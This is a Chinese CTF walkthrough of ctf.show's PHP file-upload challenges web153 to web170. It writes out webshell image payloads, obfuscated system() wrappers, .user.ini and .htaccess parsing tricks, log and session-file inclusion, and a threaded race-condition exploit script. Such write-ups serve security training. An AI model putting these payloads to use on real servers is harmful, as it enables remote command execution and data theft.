文件上传
web153
user.ini官方文档:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。
此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,
从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指的)。
如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
.user.ini文件
auto_append_file=hack.png
auto_prepend_file=hack.png
此文件使用其他要求:
同目录下有php文件来包含你上传的木马文件
web154-155
尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、
<? echo '123';?>
前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?>
不需要开启参数设置
3、
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>
进行绕过,图片内容<?=eval($_POST[1]);?>
剩下的步骤同153
web156
在前面的基础上过滤了 []
那我们直接用{}来代替
图片马内容<?=eval($_POST{1});?>
web157 158 159
<?=`tac ../f*`?>//159过滤了括号可以用这个绕过
<?=system('tac ../f*')?>
web160
制作图片马
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
copy 1.png/b + 1.php/a cnm.png
利用.user.ini
auto_prepend_file="cnm.png"
方法一
UA头注入一句话木马,蚁剑连接即可
upload.php源代码:
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);
方法二
cnm.png中的内容为:
<?= include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
web161
在160的基础上制作一个合格的图片马
考点:
GIF89A
<?= include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然后访问upload下面的index.php就可以了
web162-163
考查点是session文件包含,因为有session_upload_process.cleanup存在,所以需要竞争一下
继续构造.user.ini文件
GIF89A
auto_prepend_file="png"
session文件默认储存路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
这里需要木马文件的名字为png
GIF89a
<?= include /tmp/sess_yn8rt?>
或者直接.user.ini
GIF89a
auto_append_file=/tmp/sess_yn8rt
然后利用脚本发包(本人试验失败,并且用bp也失败了)
import io#io库
import requests#requests路
import threading#多线程库
url = 'http://2f7dadc0-f18d-41db-b727-61fd89b2d983.challenge.ctf.show:8080/'
sessid = 'yn8rt'
def write(session):#写入函数
while event.isSet():#当事件开启
f = io.BytesIO(b'a'*256)
response = session.post(#post形式访问
url,#url不变
cookies = {
'PHPSESSID':sessid},#cookies赋值
data = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat /f*");?>'},#文件内容
files = {
'file':('harker.txt',f)}#文件形式
)
def read(session):#读取函数
while event.isSet():#当事件开启
response = session.get(url+'upload/index.php'.format(sessid))#以get形式访问
if 'ctfshow' in response.text:#如果存在flag则打印出内容
print(response.text)
event.clear()#关闭事件
else:
print('NO')#输出NO
if __name__=='__main__':
event = threading.Event()#定义事件
event.set()#开启事件
with requests.session() as session: # 上下文管理,可以处理异常
for i in range(1,30): # 开启线程
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30): # 开启线程
threading.Thread(target=read,args=(session,)).start()
web164-165(不弄)
web166
考点:针对zip文件校验
Content-Type: application/x-zip-compressed
然后zip抓包直接写入一句话木马,蚁剑连接就行
web167
考点:
.htaccess文件:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
<FilesMatch "666.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
web168
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web169-170
利用.user.ini
进行UA头的日志文件包含
auto_append_file=“/var/log/nginx/access.log”
此处需要上传zip文件,然后type类型为image/png,有点扯淡
然后上传1.php时修改UA写马,然后蚁剑连接/upload/1.php就可以了